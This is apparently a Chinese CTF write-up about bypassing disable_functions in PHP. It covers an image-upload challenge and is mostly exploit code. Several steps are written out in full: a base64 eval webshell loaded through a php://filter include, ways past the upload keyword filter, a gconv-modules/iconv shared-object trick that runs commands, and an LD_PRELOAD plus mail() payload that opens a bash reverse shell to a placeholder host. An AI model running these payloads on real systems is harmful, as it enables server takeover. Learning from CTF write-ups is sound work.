0x00 前言
学艺不精 bypass_disable_function 做少了 比赛时候到shell没弹回来(chadianchule bushi… 赛题gd算是hint 后面看wp很多师傅都不用这个库 woyoulale phpinfo能正常传 disable_functions很变态基本全ban了
GD库基本没了解过 翻几个重要的函数
imagepng
(PHP 4, PHP 5, PHP 7, PHP 8)
imagepng — 以 PNG 格式将图像输出到浏览器或文件
说明 ? imagepng(resource $image, string $filename = ?): bool imagepng() 将 GD 图像流(image)以 PNG 格式输出到标准输出(通常为浏览器),或者如果用 filename 给出了文件名则将其输出到该文件。
<?php
$im = imagecreatefrompng("test.png");
imagepng($im);
?>
imagecreatefrompng
(PHP 4, PHP 5, PHP 7, PHP 8)
imagecreatefrompng — 由文件或 URL 创建一个新图象。
说明 ? imagecreatefrompng(string $filename): resource imagecreatefrompng() 返回一图像标识符,代表了从给定的文件名取得的图像。
0x01 brain.md
正常想法就是把恶意代码先写上去,方便后续的bypass
N种写马方式
预期用GD库
刚好imgaecreatefrompng 和 imagepng可以打个combo 往图像注入恶意代码 绕过二次渲染 国外的原文
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
upload-labs有现成的脚本 但是payload不能自定义 upload-labs之pass 16详细分析 懒人又找到了一个更好用的
https://m.freebuf.com/articles/web/312206.html
imagecreatefrompng支持url 直接VPS上写完eval丢进去
imagepng(imagecreatefrompng('http://xxxx/xx.png'),'exp.php')
大小写/编码绕过
还有一种SplFileObject::fwrite方法详见师傅的文章 参考
https://blog.csdn.net/qq_53263789/article/details/123842691
由于看到disable_functions没ban show_source upload点有waf可以编码绕过一下先读源码
<?php base64_decode("c2hvd19zb3VyY2U=")("../index.php") ;?>
大小写有赌的成分
<?php Show_source('../index.php');?>
拼接学到了
<?php echo ('fil'.'e_get_contents')('/var/www/html/index.php');
PHP的大小写敏感可以总结写“变量敏感,函数不敏感”,所有变量、常量、PHP.ini中配置参数都是敏感的,而函数、类、类中的方法、魔术常量,都是不区分大小写的
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}
return False;
}
error_reporting(0);
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg."
strstr大小写敏感 所以源码还是要仔细看 先传一个base64_encode 的webshell
PD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4=
然后再做一个包含
<?php Include(base64_decode('cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0yOThjNmU3NDQ1NmQ0ZDc5NzZmNWM4MWU4YjIwZjgzMi5waHA='));?>
基本上带伙都这么写
开始bypass
注意到putenv mail函数都没ban
bytectf中有一道用gconv-modules过的
参考
https://blog.z3ratu1.cn/%E4%BB%8EByteCTF%E5%88%B0bypass_disable_function.html
PHP在使用iconv()时最后一路调用,进入libc函数iconv_open(),再一波操作调用到.so文件的方法,实现RCE 除了iconv()这个函数,所有能最终调用到libc的iconv_open()操作均能触发RCE,比如iconv_strlen,或者php://filter的convert.iconv过滤器等
所以此处我们可以使用过滤器 原理篇
https://blog.csdn.net/qq_42303523/article/details/117911859
上传gconv-modules和exp.so gconv-modules:
module 自定义字符集名字(大写)// INTERNAL ../../../../../../../../tmp/自定义字符集名字(小写) 2
module INTERNAL 自定义字符集名字(大写)// ../../../../../../../../tmp/自定义字符集名字(小写) 2
(此处我们自定义字符集名字为exp 写c
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
system("希望执行的命令");
}
编译
gcc 源代码文件名.c -o 自定义字符集名.so -shared -fPIC
将两者都放到tmp下 注意此处可使用move_uploaded_file方便传输文件 VPS上搭建FTP服务器(白嫖使我快乐 参考
https://blog.csdn.net/cosmoslin/article/details/123829951
VPS架
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_anonymous("./")
handler = FTPHandler
handler.authorizer = authorizer
handler.masquerade_address = "ip"
handler.passive_ports = range(9998,10000)
server = FTPServer(("0.0.0.0", 23), handler)
server.serve_forever()
通过eval将两个文件都写到tmp下
$local_file = '/tmp/exp.so';
$server_file = 'exp.so';
$ftp_server = 'xxxxx';
$ftp_port=23;
$ftp = ftp_connect($ftp_server,$ftp_port);
$login_result = ftp_login($ftp, 'anonymous', '');
ftp_pasv($ftp,1);
if (ftp_get($ftp, $local_file, $server_file, FTP_BINARY)) {
echo "Successfully written to $local_file\n";
} else {
echo "There was a problem\n";
}
ftp_close($ftp);
注意这里有个很坑的地方我一开始utf小写会出错 后面测了又行了
putenv("GCONV_PATH=/tmp/");include('php://filter/read=convert.iconv.exp.UTF-8/resource=/tmp/exp.so');
又学会了读文件的新命令… 都省的提权了
后来实测用mail函数也行
void payload(){
system("bash -c 'bash -i >& /dev/tcp/xxxxx/7777 0>&1'");
}
int geteuid(){
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
int main(){}
putenv("LD_PRELOAD=/tmp/mail.so");mail("","","","");
0x02 rethink
果然还是自己太菜了…
|